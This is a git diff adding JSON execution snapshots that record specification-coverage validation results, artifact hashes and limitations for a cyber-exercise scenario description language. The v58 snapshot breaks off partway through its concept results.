"validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "46039a013e3d4f2377396fa57d4838b2fa984eb44be1dc0e9a9a166db58203bd", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained offline matrix does not establish provider installation, scheduling, or effect realization." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "db372c0a3a1c0a0ed4700c9e74df2e76447b6bc2", + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v57", + "snapshot_revision": "57.0.0", + "source_state": { + "base_revision": "db372c0a3a1c0a0ed4700c9e74df2e76447b6bc2", + "checkout_state": "modified", + "implementation_digest": "0c667bdcb81de158930a56cacab8530bd3bc82d996494c827187feab58f73d2a", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v58.json b/docs/research/specification-coverage/execution-snapshot-v58.json new file mode 100644 index 000000000..d7d80cd8d --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v58.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27T19:51:59.659203+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": 